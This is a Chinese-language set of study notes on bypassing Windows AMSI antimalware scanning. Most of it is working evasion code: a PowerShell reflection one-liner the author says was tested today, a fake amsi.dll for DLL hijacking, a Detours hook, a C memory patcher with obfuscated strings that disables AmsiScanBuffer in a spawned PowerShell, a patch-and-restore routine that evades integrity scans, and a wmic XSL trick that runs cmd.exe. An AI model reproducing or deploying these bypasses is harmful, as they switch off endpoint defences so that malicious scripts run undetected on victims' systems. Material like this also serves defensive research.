ASMI学习-总结
Microsoft 开发了 AMSI(反恶意软件扫描接口)作为防御常见恶意软件执行和保护最终用户的方法。默认情况下,Windows Defender 与 AMSI API 交互以在执行期间使用 Windows Script Host 技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI 的支持,因此组织不限于使用 windows Defender。
asmi工作原理
当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。
AmsiScanBuffer()
AmsiScanString()
绕过手段1-powershell降级
默认我新装的win10 不存在powershell -version 2
当然如果存在可以如下利用
PS C:\Windows\system32> powershell -version 3 -command whoami
desktop-pdj677p\nolan
PS C:\Windows\system32>
绕过手段2-编码绕过-关闭系列
按照这篇文章 说实话 有手就行系列
https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ
我的代码如下 今天刚测试能过
$a="amsiInitFaile"
$a=$a+[string]([char]100)
$b="System.Management.Automation.AmsiUtil"
$b=$b+[string]([char]115)
[Ref].Assembly.GetType($b).GetField($a,'NonPublic,Static').SetValue($null,$true)
绕过手段3-dll劫持
这里原理就是指定asmidll 让这个dll伪造以下两个检查函数
AmsiScanBuffer()
AmsiScanString()
#include "pch.h"
#include <iostream>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LPCWSTR appName = NULL;
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} AMSI_RESULT;
typedef struct HAMSISESSION {
DWORD test;
} HAMSISESSION;
typedef struct r {
DWORD r;
};
void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {};
void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession) {};
void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession) {};
void AmsiResultIsMalware(r) {};
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};
void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};
void AmsiUninitialize(HAMSICONTEXT amsiContext) {};
编译成功如下
dll劫持优先查找本目录dll
绕过手段4-hook绕过
#include "pch.h"
#include <Windows.h>
#include "detours.h"
#include <amsi.h>
#include <iostream>
#pragma comment(lib,"C:\\Users\\admin\\source\\repos\\MsMpEng\\detours_x64.lib")
#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
std::cout << "[+] AmsiScanBuffer called" << std::endl;
std::cout << "[+] Buffer " << buffer << std::endl;
std::cout << "[+] Buffer Length " << length << std::endl;
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}
绕过方式5-内存补丁绕过
参考L.N师傅Bypass AMSI的前世今生(5) - 内存补丁
相关api调用流程
AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开
session AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭
session AmsiUninitialize – 删除AMSI API
这里L.N师傅说
我们还是以powershell为例,当我们打开powershell.exe,powershell.exe会加载
System.Management.Automation.dll,此dll会调用amsi.dll,因此我们只要分析清楚这2个dll里面的函
数调用和判断逻辑,就能在合适的地方修改判断逻辑,使得程序判断结果为我们指定的结果。
我们也跟进去看
从这里应该可以看出 其上System.Management.Automation.dll不是amsi真正的功能所在,只起一个获取返回结果的作用
进入AmsiUtils.ScanContent发现其实有三个点可以让amsiInitFailed = true;(下图没截完整)
// System.Management.Automation.Utils
internal static bool Succeeded(int hresult)
{
return hresult >= 0;
}
接下来我们只需要伪造返回hresult小于0即可
而这个值是scanner扫描的结果如下
我们需要修改amsi内存里面AmsiScanBuffer或者AmsiOpenSession的返回值小于0
最后代码如下
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <iostream>
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
typedef HMODULE (NTAPI* LoadLibrars)(
LPCSTR lpLibFileName
);
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
char str1[12] = "lld.i";
char str11[12] = "sma";
_strrev(str1);
_strrev(str11);
char str2[20] = "reffuBna";
char str22[20] = "cSismA";
strcat_s(str11, str1);
_strrev(str2);
_strrev(str22);
strcat_s(str22, str2);
char str3[30] = "exe.llehsrewop";
char str[30] = " -NoExit dir";
_strrev(str3);
strcat_s(str3, str);
std::cout << "[+] Start to att AMbypass " << std::endl;
CreateProcessA(NULL, (LPSTR)str3, NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hModule1 = LoadLibraryW(L"kernel32.dll");
LoadLibrars LoadLibraryA = (LoadLibrars)GetProcAddress(hModule1, "LoadLibraryA");
//HMODULE Springam = LoadLibraryA(str11);
HMODULE hModule = LoadLibraryA(_strrev(_strrev(str11)));
LPVOID PSpringbuffer = GetProcAddress(hModule, str22);
DWORD got;
char server = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, PAGE_EXECUTE_READWRITE, &got);
WriteProcessMemory(pi.hProcess, (LPVOID)PSpringbuffer, &server, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, got, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
//FreeLibrary(Springam);
return 0;
}
当然后面L.N师傅还给出了两方面的对抗手段
内存补丁对抗手段1-偏移量检查对抗
第一种检测手法,是找到函数的偏移,然后判断便宜处的二进制是否被修改,通过上面的代码我们也知
道,我们直接在函数开始地址处打补丁,我们可以增加偏移量,让补丁出现在函数种的其他位置,代码
如下:
内存补丁对抗手段2-完整性内存扫描缺陷对抗
第二种因为是完整性检测,我们修改代码后就能被扫出来,但是第二种侦测方法有个缺陷,就是不可能
一直扫描内存,要不使用按频率扫描,要不使用触发扫描,触发扫描比较常见,例如当侦测到
AmsiOpenSession API被调用,就触发扫描。我们对抗方法是打补丁后执行恶意代码,执行完再还原内
存,这样内存修改只是一瞬间,代码如下:
$p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Patch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x75; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); }public static void UnPatch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x74; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } }"@Add-Type $p [Program]::Patch() [Program]::UnPatch()
这里是LN师傅发现的巧妙之处
绕过手段6-wmic调用bypass
参考
wmic执行的时候asmi主要是对一些关键字进行crc32校验
如下
if ( v16 == 0x788C9917 || v16 == 0x96B23E8A || v16 == 0xB8DA804E || v16 == 0xC0B29B3D || v16 == 0xD16F4088 || v16 == 0xD61D2EA7 || (v17 = 0, v16 == 0xEF726924) ) if ( v26 == 0x46B9D093 || v26 == 0xF837EFC3 )
这里SpectreOps 团队研究发现
这里我这个都没检测发现
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
wmic process list /FORMAT:evil.xsl
这里还有一点需要关注就是当远程调用wmic时 默认扫描
总结
AMSI手段当然不止这些,今天就先学到这里
PS:慢就是快,少就是多